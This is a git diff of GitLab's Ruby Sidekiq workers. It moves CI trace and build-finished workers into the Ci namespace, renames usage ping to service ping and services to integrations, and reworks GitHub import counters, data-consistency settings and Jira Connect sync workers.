@@ -1,16 +1,5 @@
# frozen_string_literal: true
-class ArchiveTraceWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
- include PipelineBackgroundQueue
-
- # rubocop: disable CodeReuse/ActiveRecord
- def perform(job_id)
- Ci::Build.without_archived_trace.find_by(id: job_id).try do |job|
- Ci::ArchiveTraceService.new.execute(job, worker_name: self.class.name)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
+class ArchiveTraceWorker < ::Ci::ArchiveTraceWorker # rubocop:disable Scalability/IdempotentWorker
+ # DEPRECATED: Not triggered since https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64934/
end
diff --git a/app/workers/authorized_project_update/user_refresh_from_replica_worker.rb b/app/workers/authorized_project_update/user_refresh_from_replica_worker.rb
index 5ca9de63fd7..10f7cb20df0 100644
--- a/app/workers/authorized_project_update/user_refresh_from_replica_worker.rb
+++ b/app/workers/authorized_project_update/user_refresh_from_replica_worker.rb
@@ -1,15 +1,54 @@
# frozen_string_literal: true
module AuthorizedProjectUpdate
- class UserRefreshFromReplicaWorker < ::AuthorizedProjectsWorker
+ class UserRefreshFromReplicaWorker
+ include ApplicationWorker
+
+ sidekiq_options retry: 3
feature_category :authentication_and_authorization
urgency :low
queue_namespace :authorized_project_update
- deduplicate :until_executing, including_scheduled: true
idempotent!
+ deduplicate :until_executing, including_scheduled: true
+
+ def perform(user_id)
+ if Feature.enabled?(:user_refresh_from_replica_worker_uses_replica_db)
+ use_replica_if_available do
+ user = User.find_by_id(user_id)
+
+ if user && project_authorizations_needs_refresh?(user)
+ enqueue_project_authorizations_refresh(user)
+ end
+ end
+ else
+ user = User.find_by_id(user_id)
+ return unless user
+
+ user.refresh_authorized_projects(source: self.class.name)
+ end
+ end
+
+ private
+
+ # We use this approach instead of specifying `data_consistency :delayed` because these jobs
+ # are enqueued in large numbers, and using `data_consistency :delayed`
+ # does not allow us to deduplicate these jobs.
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/325291
+ def use_replica_if_available(&block)
+ return yield unless ::Gitlab::Database::LoadBalancing.enable?
+
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries(&block)
+ end
+
+ def project_authorizations_needs_refresh?(user)
+ AuthorizedProjectUpdate::FindRecordsDueForRefreshService.new(user).needs_refresh?
+ end
- # This worker will start reading data from the replica database soon
- # Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/333219
+ def enqueue_project_authorizations_refresh(user)
+ with_context(user: user) do
+ AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker.perform_async(user.id)
+ end
+ end
end
end
diff --git a/app/workers/build_finished_worker.rb b/app/workers/build_finished_worker.rb
index a3eaacec8a2..0d41f7b9438 100644
--- a/app/workers/build_finished_worker.rb
+++ b/app/workers/build_finished_worker.rb
@@ -1,61 +1,9 @@
# frozen_string_literal: true
-class BuildFinishedWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
+class BuildFinishedWorker < ::Ci::BuildFinishedWorker # rubocop:disable Scalability/IdempotentWorker
+ # DEPRECATED: Not triggered since https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64934/
- sidekiq_options retry: 3
- include PipelineQueue
-
- queue_namespace :pipeline_processing
+ # We need to explicitly specify these settings. They aren't inheriting from the parent class.
urgency :high
worker_resource_boundary :cpu
-
- ARCHIVE_TRACES_IN = 2.minutes.freeze
-
- # rubocop: disable CodeReuse/ActiveRecord
- def perform(build_id)
- Ci::Build.find_by(id: build_id).try do |build|
- process_build(build)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- private
-
- # Processes a single CI build that has finished.
- #
- # This logic resides in a separate method so that EE can extend it more
- # easily.
- #
- # @param [Ci::Build] build The build to process.
- def process_build(build)
- # We execute these in sync to reduce IO.
- build.parse_trace_sections!
- build.update_coverage
- Ci::BuildReportResultService.new.execute(build)
-
- # We execute these async as these are independent operations.
- BuildHooksWorker.perform_async(build.id)
- ChatNotificationWorker.perform_async(build.id) if build.pipeline.chat?
-
- if build.failed?
- ::Ci::MergeRequests::AddTodoWhenBuildFailsWorker.perform_async(build.id)
- end
-
- ##
- # We want to delay sending a build trace to object storage operation to
- # validate that this fixes a race condition between this and flushing live
- # trace chunks and chunks being removed after consolidation and putting
- # them into object storage archive.
- #
- # TODO This is temporary fix we should improve later, after we validate
- # that this is indeed the culprit.
- #
- # See https://gitlab.com/gitlab-org/gitlab/-/issues/267112 for more
- # details.
- #
- ArchiveTraceWorker.perform_in(ARCHIVE_TRACES_IN, build.id)
- end
end
-
-BuildFinishedWorker.prepend_mod_with('BuildFinishedWorker')
diff --git a/app/workers/build_queue_worker.rb b/app/workers/build_queue_worker.rb
index aa3c03f773e..4ab08bbd7fe 100644
--- a/app/workers/build_queue_worker.rb
+++ b/app/workers/build_queue_worker.rb
@@ -10,7 +10,7 @@ class BuildQueueWorker # rubocop:disable Scalability/IdempotentWorker
feature_category :continuous_integration
urgency :high
worker_resource_boundary :cpu
- data_consistency :sticky, feature_flag: :load_balancing_for_build_queue_worker
+ data_consistency :sticky
# rubocop: disable CodeReuse/ActiveRecord
def perform(build_id)
diff --git a/app/workers/bulk_imports/export_request_worker.rb b/app/workers/bulk_imports/export_request_worker.rb
index 24e75ad0f85..d3bb36d830f 100644
--- a/app/workers/bulk_imports/export_request_worker.rb
+++ b/app/workers/bulk_imports/export_request_worker.rb
@@ -25,7 +25,7 @@ module BulkImports
def http_client(configuration)
@client ||= Clients::HTTP.new(
- uri: configuration.url,
+ url: configuration.url,
token: configuration.access_token
)
end
diff --git a/app/workers/ci/archive_trace_worker.rb b/app/workers/ci/archive_trace_worker.rb
new file mode 100644
index 00000000000..16288faf370
--- /dev/null
+++ b/app/workers/ci/archive_trace_worker.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Ci
+ class ArchiveTraceWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ sidekiq_options retry: 3
+ include PipelineBackgroundQueue
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def perform(job_id)
+ Ci::Build.without_archived_trace.find_by(id: job_id).try do |job|
+ Ci::ArchiveTraceService.new.execute(job, worker_name: self.class.name)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+end
diff --git a/app/workers/ci/archive_traces_cron_worker.rb b/app/workers/ci/archive_traces_cron_worker.rb
index c748bc33ada..5fe3adf870f 100644
--- a/app/workers/ci/archive_traces_cron_worker.rb
+++ b/app/workers/ci/archive_traces_cron_worker.rb
@@ -12,7 +12,7 @@ module Ci
# rubocop: disable CodeReuse/ActiveRecord
def perform
# Archive stale live traces which still resides in redis or database
- # This could happen when ArchiveTraceWorker sidekiq jobs were lost by receiving SIGKILL
+ # This could happen when Ci::ArchiveTraceWorker sidekiq jobs were lost by receiving SIGKILL
# More details in https://gitlab.com/gitlab-org/gitlab-foss/issues/36791
Ci::Build.with_stale_live_trace.find_each(batch_size: 100) do |build|
Ci::ArchiveTraceService.new.execute(build, worker_name: self.class.name)
diff --git a/app/workers/ci/build_finished_worker.rb b/app/workers/ci/build_finished_worker.rb
new file mode 100644
index 00000000000..1d6e3b1fa3c
--- /dev/null
+++ b/app/workers/ci/build_finished_worker.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+module Ci
+ class BuildFinishedWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ sidekiq_options retry: 3
+ include PipelineQueue
+
+ queue_namespace :pipeline_processing
+ urgency :high
+ worker_resource_boundary :cpu
+
+ ARCHIVE_TRACES_IN = 2.minutes.freeze
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def perform(build_id)
+ Ci::Build.find_by(id: build_id).try do |build|
+ process_build(build)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ private
+
+ # Processes a single CI build that has finished.
+ #
+ # This logic resides in a separate method so that EE can extend it more
+ # easily.
+ #
+ # @param [Ci::Build] build The build to process.
+ def process_build(build)
+ # We execute these in sync to reduce IO.
+ build.parse_trace_sections!
+ build.update_coverage
+ Ci::BuildReportResultService.new.execute(build)
+
+ # We execute these async as these are independent operations.
+ BuildHooksWorker.perform_async(build.id)
+ ChatNotificationWorker.perform_async(build.id) if build.pipeline.chat?
+
+ if build.failed?
+ ::Ci::MergeRequests::AddTodoWhenBuildFailsWorker.perform_async(build.id)
+ end
+
+ ##
+ # We want to delay sending a build trace to object storage operation to
+ # validate that this fixes a race condition between this and flushing live
+ # trace chunks and chunks being removed after consolidation and putting
+ # them into object storage archive.
+ #
+ # TODO This is temporary fix we should improve later, after we validate
+ # that this is indeed the culprit.
+ #
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/267112 for more
+ # details.
+ #
+ archive_trace_worker_class(build).perform_in(ARCHIVE_TRACES_IN, build.id)
+ end
+
+ def archive_trace_worker_class(build)
+ if Feature.enabled?(:ci_build_finished_worker_namespace_changed, build.project, default_enabled: :yaml)
+ Ci::ArchiveTraceWorker
+ else
+ ::ArchiveTraceWorker
+ end
+ end
+ end
+end
+
+Ci::BuildFinishedWorker.prepend_mod_with('Ci::BuildFinishedWorker')
diff --git a/app/workers/ci/resource_groups/assign_resource_from_resource_group_worker.rb b/app/workers/ci/resource_groups/assign_resource_from_resource_group_worker.rb
index 15ed89fd00e..ad0ed3d16f1 100644
--- a/app/workers/ci/resource_groups/assign_resource_from_resource_group_worker.rb
+++ b/app/workers/ci/resource_groups/assign_resource_from_resource_group_worker.rb
@@ -2,7 +2,10 @@
module Ci
module ResourceGroups
- class AssignResourceFromResourceGroupWorker # rubocop:disable Scalability/IdempotentWorker
+ # This worker is to assign a resource to a pipeline job from a resource group
+ # and enqueue the job to be executed by a runner.
+ # See https://docs.gitlab.com/ee/ci/yaml/#resource_group for more information.
+ class AssignResourceFromResourceGroupWorker
include ApplicationWorker
sidekiq_options retry: 3
@@ -11,6 +14,13 @@ module Ci
queue_namespace :pipeline_processing
feature_category :continuous_delivery
+ # This worker is idempotent that it produces the same result
+ # as long as the same resource group id is passed as an argument.
+ # Therefore, we can deduplicate the sidekiq jobs until the on-going
+ # assignment process has been finished.
+ idempotent!
+ deduplicate :until_executed
+
def perform(resource_group_id)
::Ci::ResourceGroup.find_by_id(resource_group_id).try do |resource_group|
Ci::ResourceGroups::AssignResourceFromResourceGroupService.new(resource_group.project, nil)
diff --git a/app/workers/clusters/applications/activate_service_worker.rb b/app/workers/clusters/applications/activate_service_worker.rb
index d4d0ae96e03..a7073b78a81 100644
--- a/app/workers/clusters/applications/activate_service_worker.rb
+++ b/app/workers/clusters/applications/activate_service_worker.rb
@@ -15,7 +15,7 @@ module Clusters
return unless cluster
cluster.all_projects.find_each do |project|
- project.find_or_initialize_service(service_name).update!(active: true)
+ project.find_or_initialize_integration(service_name).update!(active: true)
end
end
end
diff --git a/app/workers/clusters/applications/deactivate_service_worker.rb b/app/workers/clusters/applications/deactivate_service_worker.rb
index 935b455a4fc..9337af56623 100644
--- a/app/workers/clusters/applications/deactivate_service_worker.rb
+++ b/app/workers/clusters/applications/deactivate_service_worker.rb
@@ -10,18 +10,18 @@ module Clusters
loggable_arguments 1
- def perform(cluster_id, service_name)
+ def perform(cluster_id, integration_name)
cluster = Clusters::Cluster.find_by_id(cluster_id)
- raise cluster_missing_error(service_name) unless cluster
+ raise cluster_missing_error(integration_name) unless cluster
- service = "#{service_name}_service".to_sym
- cluster.all_projects.with_service(service).find_each do |project|
- project.public_send(service).update!(active: false) # rubocop:disable GitlabSecurity/PublicSend
+ integration = ::Project.integration_association_name(integration_name).to_sym
+ cluster.all_projects.with_integration(integration).find_each do |project|
+ project.public_send(integration).update!(active: false) # rubocop:disable GitlabSecurity/PublicSend
end
end
- def cluster_missing_error(service)
- ActiveRecord::RecordNotFound.new("Can't deactivate #{service} services, host cluster not found! Some inconsistent records may be left in database.")
+ def cluster_missing_error(integration_name)
+ ActiveRecord::RecordNotFound.new("Can't deactivate #{integration_name} integrations, host cluster not found! Some inconsistent records may be left in database.")
end
end
end
diff --git a/app/workers/concerns/application_worker.rb b/app/workers/concerns/application_worker.rb
index 3cba1eb31c5..e158ae0c298 100644
--- a/app/workers/concerns/application_worker.rb
+++ b/app/workers/concerns/application_worker.rb
@@ -47,11 +47,36 @@ module ApplicationWorker
end
class_methods do
+ extend ::Gitlab::Utils::Override
+
def inherited(subclass)
subclass.set_queue
subclass.after_set_class_attribute { subclass.set_queue }
end
+ override :validate_worker_attributes!
+ def validate_worker_attributes!
+ super
+
+ # Since the delayed data_consistency will use sidekiq built in retry mechanism, it is required that this mechanism
+ # is not disabled.
+ if retry_disabled? && get_data_consistency == :delayed
+ raise ArgumentError, "Retry support cannot be disabled if data_consistency is set to :delayed"
+ end
+ end
+
+ # Checks if sidekiq retry support is disabled
+ def retry_disabled?
+ get_sidekiq_options['retry'] == 0 || get_sidekiq_options['retry'] == false
+ end
+
+ override :sidekiq_options
+ def sidekiq_options(opts = {})
+ super.tap do
+ validate_worker_attributes!
+ end
+ end
+
def perform_async(*args)
# Worker execution for workers with data_consistency set to :delayed or :sticky
# will be delayed to give replication enough time to complete
diff --git a/app/workers/concerns/gitlab/github_import/object_importer.rb b/app/workers/concerns/gitlab/github_import/object_importer.rb
index 6ebf7c7c263..1eff53cea01 100644
--- a/app/workers/concerns/gitlab/github_import/object_importer.rb
+++ b/app/workers/concerns/gitlab/github_import/object_importer.rb
@@ -36,14 +36,15 @@ module Gitlab
importer_class.new(object, project, client).execute
- counter.increment
+ Gitlab::GithubImport::ObjectCounter.increment(project, object_type, :imported)
+
info(project.id, message: 'importer finished')
rescue StandardError => e
error(project.id, e, hash)
end
- def counter
- @counter ||= Gitlab::Metrics.counter(counter_name, counter_description)
+ def object_type
+ raise NotImplementedError
end
# Returns the representation class to use for the object. This class must
@@ -57,16 +58,6 @@ module Gitlab
raise NotImplementedError
end
- # Returns the name (as a Symbol) of the Prometheus counter.
- def counter_name
- raise NotImplementedError
- end
-
- # Returns the description (as a String) of the Prometheus counter.
- def counter_description
- raise NotImplementedError
- end
-
private
attr_accessor :github_id
diff --git a/app/workers/concerns/waitable_worker.rb b/app/workers/concerns/waitable_worker.rb
index e62bd8d9885..f8b945b8892 100644
--- a/app/workers/concerns/waitable_worker.rb
+++ b/app/workers/concerns/waitable_worker.rb
@@ -32,7 +32,9 @@ module WaitableWorker
failed = []
args_list.each do |args|
- new.perform(*args)
+ worker = new
+ Gitlab::AppJsonLogger.info(worker.structured_payload(message: 'running inline'))
+ worker.perform(*args)
rescue StandardError
failed << args
end
diff --git a/app/workers/concerns/worker_attributes.rb b/app/workers/concerns/worker_attributes.rb
index 096be808787..806fce38636 100644
--- a/app/workers/concerns/worker_attributes.rb
+++ b/app/workers/concerns/worker_attributes.rb
@@ -12,6 +12,7 @@ module WorkerAttributes
VALID_URGENCIES = [:high, :low, :throttled].freeze
VALID_DATA_CONSISTENCIES = [:always, :sticky, :delayed].freeze
+ DEFAULT_DATA_CONSISTENCY = :always
NAMESPACE_WEIGHTS = {
auto_devops: 2,
@@ -110,7 +111,7 @@ module WorkerAttributes
end
def get_data_consistency
- class_attributes[:data_consistency] || :always
+ class_attributes[:data_consistency] || DEFAULT_DATA_CONSISTENCY
end
def get_data_consistency_feature_flag_enabled?
diff --git a/app/workers/container_expiration_policies/cleanup_container_repository_worker.rb b/app/workers/container_expiration_policies/cleanup_container_repository_worker.rb
index 3027d46b8b1..33dda6a8f0c 100644
--- a/app/workers/container_expiration_policies/cleanup_container_repository_worker.rb
+++ b/app/workers/container_expiration_policies/cleanup_container_repository_worker.rb
@@ -49,15 +49,11 @@ module ContainerExpirationPolicies
end
def remaining_work_count
- total_count = cleanup_scheduled_count + cleanup_unfinished_count
+ count = cleanup_scheduled_count
- log_info(
- cleanup_scheduled_count: cleanup_scheduled_count,
- cleanup_unfinished_count: cleanup_unfinished_count,
- cleanup_total_count: total_count
- )
+ return count if count > max_running_jobs
- total_count
+ count + cleanup_unfinished_count
end
private
diff --git a/app/workers/container_expiration_policy_worker.rb b/app/workers/container_expiration_policy_worker.rb
index 8fc139ac87c..a35ca5d184e 100644
--- a/app/workers/container_expiration_policy_worker.rb
+++ b/app/workers/container_expiration_policy_worker.rb
@@ -17,6 +17,7 @@ class ContainerExpirationPolicyWorker # rubocop:disable Scalability/IdempotentWo
process_stale_ongoing_cleanups
disable_policies_without_container_repositories
throttling_enabled? ? perform_throttled : perform_unthrottled
+ log_counts
end
private
@@ -28,6 +29,26 @@ class ContainerExpirationPolicyWorker # rubocop:disable Scalability/IdempotentWo
end
end
+ def log_counts
+ use_replica_if_available do
+ required_count = ContainerRepository.requiring_cleanup.count
+ unfinished_count = ContainerRepository.with_unfinished_cleanup.count
+
+ log_extra_metadata_on_done(:cleanup_required_count, required_count)
+ log_extra_metadata_on_done(:cleanup_unfinished_count, unfinished_count)
+ log_extra_metadata_on_done(:cleanup_total_count, required_count + unfinished_count)
+ end
+ end
+
+ # data_consistency :delayed not used as this is a cron job and those jobs are
+ # not perfomed with a delay
+ # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63635#note_603771207
+ def use_replica_if_available(&blk)
+ return yield unless ::Gitlab::Database::LoadBalancing.enable?
+
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries(&blk)
+ end
+
def process_stale_ongoing_cleanups
threshold = delete_tags_service_timeout.seconds + 30.minutes
ContainerRepository.with_stale_ongoing_cleanup(threshold.ago)
diff --git a/app/workers/database/partition_management_worker.rb b/app/workers/database/partition_management_worker.rb
new file mode 100644
index 00000000000..c9b1cd6d261
--- /dev/null
+++ b/app/workers/database/partition_management_worker.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Database
+ class PartitionManagementWorker
+ include ApplicationWorker
+
+ sidekiq_options retry: 3
+ include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
+
+ feature_category :database
+ idempotent!
+
+ def perform
+ Gitlab::Database::Partitioning::PartitionManager.new.sync_partitions
+ ensure
+ Gitlab::Database::Partitioning::PartitionMonitoring.new.report_metrics
+ end
+ end
+end
diff --git a/app/workers/expire_pipeline_cache_worker.rb b/app/workers/expire_pipeline_cache_worker.rb
index 9702fac39ba..64f73d1fba1 100644
--- a/app/workers/expire_pipeline_cache_worker.rb
+++ b/app/workers/expire_pipeline_cache_worker.rb
@@ -10,7 +10,7 @@ class ExpirePipelineCacheWorker
queue_namespace :pipeline_cache
urgency :high
worker_resource_boundary :cpu
- data_consistency :delayed, feature_flag: :load_balancing_for_expire_pipeline_cache_worker
+ data_consistency :delayed
# This worker _should_ be idempotent, but due to us moving this to data_consistency :delayed
# and an ongoing incompatibility between the two switches, we need to disable this.
diff --git a/app/workers/gitlab/github_import/import_diff_note_worker.rb b/app/workers/gitlab/github_import/import_diff_note_worker.rb
index 25fb0375692..85b7d6c76bd 100644
--- a/app/workers/gitlab/github_import/import_diff_note_worker.rb
+++ b/app/workers/gitlab/github_import/import_diff_note_worker.rb
@@ -13,12 +13,8 @@ module Gitlab
Importer::DiffNoteImporter
end
- def counter_name
- :github_importer_imported_diff_notes
- end
-
- def counter_description
- 'The number of imported GitHub pull request review comments'
+ def object_type
+ :diff_note
end
end
end
diff --git a/app/workers/gitlab/github_import/import_issue_worker.rb b/app/workers/gitlab/github_import/import_issue_worker.rb
index d9c496e3eb3..8fdc0219ffd 100644
--- a/app/workers/gitlab/github_import/import_issue_worker.rb
+++ b/app/workers/gitlab/github_import/import_issue_worker.rb
@@ -13,12 +13,8 @@ module Gitlab
Importer::IssueAndLabelLinksImporter
end
- def counter_name
- :github_importer_imported_issues
- end
-
- def counter_description
- 'The number of imported GitHub issues'
+ def object_type
+ :issue
end
end
end
diff --git a/app/workers/gitlab/github_import/import_lfs_object_worker.rb b/app/workers/gitlab/github_import/import_lfs_object_worker.rb
index 78f78fdb160..2a95366bac7 100644
--- a/app/workers/gitlab/github_import/import_lfs_object_worker.rb
+++ b/app/workers/gitlab/github_import/import_lfs_object_worker.rb
@@ -13,12 +13,8 @@ module Gitlab
Importer::LfsObjectImporter
end
- def counter_name
- :github_importer_imported_lfs_objects
- end
-
- def counter_description
- 'The number of imported GitHub Lfs Objects'
+ def object_type
+ :lfs_object
end
end
end
diff --git a/app/workers/gitlab/github_import/import_note_worker.rb b/app/workers/gitlab/github_import/import_note_worker.rb
index d0f97a15afd..2125c953778 100644
--- a/app/workers/gitlab/github_import/import_note_worker.rb
+++ b/app/workers/gitlab/github_import/import_note_worker.rb
@@ -13,12 +13,8 @@ module Gitlab
Importer::NoteImporter
end
- def counter_name
- :github_importer_imported_notes
- end
-
- def counter_description
- 'The number of imported GitHub comments'
+ def object_type
+ :note
end
end
end
diff --git a/app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb b/app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb
index a8b79cf9b3a..91dab3470d9 100644
--- a/app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb
+++ b/app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb
@@ -15,12 +15,8 @@ module Gitlab
Importer::PullRequestMergedByImporter
end
- def counter_name
- :github_importer_imported_pull_requests_merged_by
- end
-
- def counter_description
- 'The number of imported GitHub pull requests merged by'
+ def object_type
+ :pull_request_merged_by
end
end
end
diff --git a/app/workers/gitlab/github_import/import_pull_request_review_worker.rb b/app/workers/gitlab/github_import/import_pull_request_review_worker.rb
index 5ee88d5d32b..de10fe40589 100644
--- a/app/workers/gitlab/github_import/import_pull_request_review_worker.rb
+++ b/app/workers/gitlab/github_import/import_pull_request_review_worker.rb
@@ -15,12 +15,8 @@ module Gitlab
Importer::PullRequestReviewImporter
end
- def counter_name
- :github_importer_imported_pull_request_reviews
- end
-
- def counter_description
- 'The number of imported GitHub pull request reviews'
+ def object_type
+ :pull_request_review
end
end
end
diff --git a/app/workers/gitlab/github_import/import_pull_request_worker.rb b/app/workers/gitlab/github_import/import_pull_request_worker.rb
index 9560874f247..79938a157d7 100644
--- a/app/workers/gitlab/github_import/import_pull_request_worker.rb
+++ b/app/workers/gitlab/github_import/import_pull_request_worker.rb
@@ -13,12 +13,8 @@ module Gitlab
Importer::PullRequestImporter
end
- def counter_name
- :github_importer_imported_pull_requests
- end
-
- def counter_description
- 'The number of imported GitHub pull requests'
+ def object_type
+ :pull_request
end
end
end
diff --git a/app/workers/gitlab/github_import/stage/finish_import_worker.rb b/app/workers/gitlab/github_import/stage/finish_import_worker.rb
index f5980cc248e..f909d7e2f34 100644
--- a/app/workers/gitlab/github_import/stage/finish_import_worker.rb
+++ b/app/workers/gitlab/github_import/stage/finish_import_worker.rb
@@ -29,7 +29,8 @@ module Gitlab
info(
project.id,
message: "GitHub project import finished",
- duration_s: duration.round(2)
+ duration_s: duration.round(2),
+ object_counts: ::Gitlab::GithubImport::ObjectCounter.summary(project)
)
end
diff --git a/app/workers/gitlab/import/stuck_import_job.rb b/app/workers/gitlab/import/stuck_import_job.rb
index ac789ce1188..57fb3baf2b5 100644
--- a/app/workers/gitlab/import/stuck_import_job.rb
+++ b/app/workers/gitlab/import/stuck_import_job.rb
@@ -5,7 +5,7 @@ module Gitlab
module StuckImportJob
extend ActiveSupport::Concern
- IMPORT_JOBS_EXPIRATION = 15.hours.seconds.to_i
+ IMPORT_JOBS_EXPIRATION = 24.hours.seconds.to_i
included do
include ApplicationWorker
diff --git a/app/workers/gitlab_service_ping_worker.rb b/app/workers/gitlab_service_ping_worker.rb
new file mode 100644
index 00000000000..a27629eac0a
--- /dev/null
+++ b/app/workers/gitlab_service_ping_worker.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class GitlabServicePingWorker # rubocop:disable Scalability/IdempotentWorker
+ LEASE_KEY = 'gitlab_service_ping_worker:ping'
+ LEASE_TIMEOUT = 86400
+
+ include ApplicationWorker
+ include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
+ include Gitlab::ExclusiveLeaseHelpers
+
+ feature_category :service_ping
+ sidekiq_options retry: 3, dead: false
+ sidekiq_retry_in { |count| (count + 1) * 8.hours.to_i }
+
+ def perform
+ # Disable service ping for GitLab.com
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/292929 for details
+ return if Gitlab.com?
+
+ # Multiple Sidekiq workers could run this. We should only do this at most once a day.
+ in_lock(LEASE_KEY, ttl: LEASE_TIMEOUT) do
+ # Splay the request over a minute to avoid thundering herd problems.
+ sleep(rand(0.0..60.0).round(3))
+
+ ServicePing::SubmitService.new.execute
+ end
+ end
+end
diff --git a/app/workers/gitlab_usage_ping_worker.rb b/app/workers/gitlab_usage_ping_worker.rb
deleted file mode 100644
index 782b089261f..00000000000
--- a/app/workers/gitlab_usage_ping_worker.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-class GitlabUsagePingWorker # rubocop:disable Scalability/IdempotentWorker
- LEASE_KEY = 'gitlab_usage_ping_worker:ping'
- LEASE_TIMEOUT = 86400
-
- include ApplicationWorker
- include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
- include Gitlab::ExclusiveLeaseHelpers
-
- feature_category :usage_ping
- sidekiq_options retry: 3, dead: false
- sidekiq_retry_in { |count| (count + 1) * 8.hours.to_i }
-
- def perform
- # Disable usage ping for GitLab.com
- # See https://gitlab.com/gitlab-org/gitlab/-/issues/292929 for details
- return if Gitlab.com?
-
- # Multiple Sidekiq workers could run this. We should only do this at most once a day.
- in_lock(LEASE_KEY, ttl: LEASE_TIMEOUT) do
- # Splay the request over a minute to avoid thundering herd problems.
- sleep(rand(0.0..60.0).round(3))
-
- SubmitUsagePingService.new.execute
- end
- end
-end
diff --git a/app/workers/jira_connect/forward_event_worker.rb b/app/workers/jira_connect/forward_event_worker.rb
new file mode 100644
index 00000000000..877ab46cfe5
--- /dev/null
+++ b/app/workers/jira_connect/forward_event_worker.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module JiraConnect
+ class ForwardEventWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ queue_namespace :jira_connect
+ feature_category :integrations
+ worker_has_external_dependencies!
+
+ def perform(installation_id, base_path, event_path)
+ installation = JiraConnectInstallation.find_by_id(installation_id)
+
+ return if installation&.instance_url.nil?
+
+ proxy_url = installation.instance_url + event_path
+ qsh = Atlassian::Jwt.create_query_string_hash(proxy_url, 'POST', installation.instance_url + base_path)
+ jwt = Atlassian::Jwt.encode({ iss: installation.client_key, qsh: qsh }, installation.shared_secret)
+
+ Gitlab::HTTP.post(proxy_url, headers: { 'Authorization' => "JWT #{jwt}" })
+ ensure
+ installation.destroy if installation
+ end
+ end
+end
diff --git a/app/workers/jira_connect/sync_branch_worker.rb b/app/workers/jira_connect/sync_branch_worker.rb
index 4e8566d86c9..2723287b77b 100644
--- a/app/workers/jira_connect/sync_branch_worker.rb
+++ b/app/workers/jira_connect/sync_branch_worker.rb
@@ -1,16 +1,17 @@
# frozen_string_literal: true
module JiraConnect
- class SyncBranchWorker
+ class SyncBranchWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
sidekiq_options retry: 3
queue_namespace :jira_connect
feature_category :integrations
+ data_consistency :delayed
loggable_arguments 1, 2
+
worker_has_external_dependencies!
- idempotent!
def perform(project_id, branch_name, commit_shas, update_sequence_id)
project = Project.find_by_id(project_id)
diff --git a/app/workers/jira_connect/sync_builds_worker.rb b/app/workers/jira_connect/sync_builds_worker.rb
index 11a3b598035..4c4daba3314 100644
--- a/app/workers/jira_connect/sync_builds_worker.rb
+++ b/app/workers/jira_connect/sync_builds_worker.rb
@@ -1,18 +1,18 @@
# frozen_string_literal: true
module JiraConnect
- class SyncBuildsWorker
+ class SyncBuildsWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
sidekiq_options retry: 3
- idempotent!
- worker_has_external_dependencies!
-
queue_namespace :jira_connect
feature_category :integrations
+ data_consistency :delayed
tags :exclude_from_kubernetes
+ worker_has_external_dependencies!
+
def perform(pipeline_id, sequence_id)
pipeline = Ci::Pipeline.find_by_id(pipeline_id)
diff --git a/app/workers/jira_connect/sync_deployments_worker.rb b/app/workers/jira_connect/sync_deployments_worker.rb
index 9f75b1161f0..0dc34b5999f 100644
--- a/app/workers/jira_connect/sync_deployments_worker.rb
+++ b/app/workers/jira_connect/sync_deployments_worker.rb
@@ -1,18 +1,18 @@
# frozen_string_literal: true
module JiraConnect
- class SyncDeploymentsWorker
+ class SyncDeploymentsWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
sidekiq_options retry: 3
- idempotent!
- worker_has_external_dependencies!
-
queue_namespace :jira_connect
feature_category :integrations
+ data_consistency :delayed
tags :exclude_from_kubernetes
+ worker_has_external_dependencies!
+
def perform(deployment_id, sequence_id)
deployment = Deployment.find_by_id(deployment_id)
diff --git a/app/workers/jira_connect/sync_feature_flags_worker.rb b/app/workers/jira_connect/sync_feature_flags_worker.rb
index 0d8d3d3142e..c484cabbe6b 100644
--- a/app/workers/jira_connect/sync_feature_flags_worker.rb
+++ b/app/workers/jira_connect/sync_feature_flags_worker.rb
@@ -1,18 +1,18 @@
# frozen_string_literal: true
module JiraConnect
- class SyncFeatureFlagsWorker
+ class SyncFeatureFlagsWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
sidekiq_options retry: 3
- idempotent!
- worker_has_external_dependencies!
-
queue_namespace :jira_connect
feature_category :integrations
+ data_consistency :delayed
tags :exclude_from_kubernetes
+ worker_has_external_dependencies!
+
def perform(feature_flag_id, sequence_id)
feature_flag = ::Operations::FeatureFlag.find_by_id(feature_flag_id)
